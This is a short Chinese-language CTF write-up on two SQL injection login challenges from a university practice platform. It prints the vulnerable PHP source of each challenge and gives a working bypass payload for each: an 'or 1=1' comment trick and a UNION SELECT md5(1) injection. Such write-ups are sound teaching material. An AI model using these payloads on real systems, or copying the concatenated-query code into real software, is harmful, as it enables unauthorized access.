这几天做了一下南邮平台的几个ctf题,题比较简单,这里写一下两个sql注入的题的wp,两个题都是sql注入,并以post方式提交数据:
sql-1:
首先查看源码:
<html>
<head>
Secure Web Login
</head>
<body>
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = trim($_POST[user]);
$pass = md5(trim($_POST[pass]));
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
echo '</br>'.$sql;
$query = mysql_fetch_array(mysql_query($sql));
if($query[user]=="admin") {
echo "<p>Logged in! flag:******************** </p>";
}
if($query[user] != "admin") {
echo("<p>You are not admin!</p>");
}
}
echo $query[user];
?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.phps">Source</a>
</html>
if($query[user]==“admin”) { //这是题目的关键,只要user是admin,就能得出flag。但是我们不知道密码啊,当然这里用万能密码就行啦。
playload:
admin‘) or 1=1 #
**
sql-2:
**
首先查看源码:
<html>
<head>
Secure Web Login II
</head>
<body>
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = $_POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
echo "<p>Logged in! Key: ntcf{**************} </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.phps">Source</a>
</html>
这道题的关键是:我们查询到的结果集是密码但是经过md5加密,而且经过md5加密的pw与pw本身不相同。后面的 (!strcasecmp($pass, $query[pw])这行代码条件决定了我们查询结果是pw经过md5加密之后的形式。
playload:
' union select md5(1)# 密码框我们输入1
**
注意:
**
在第二题中如果我们将我们输入的密码放到网站进行md5加密是不可取的,因为md5加密分好多种,所以我们在这里用md5加密函数。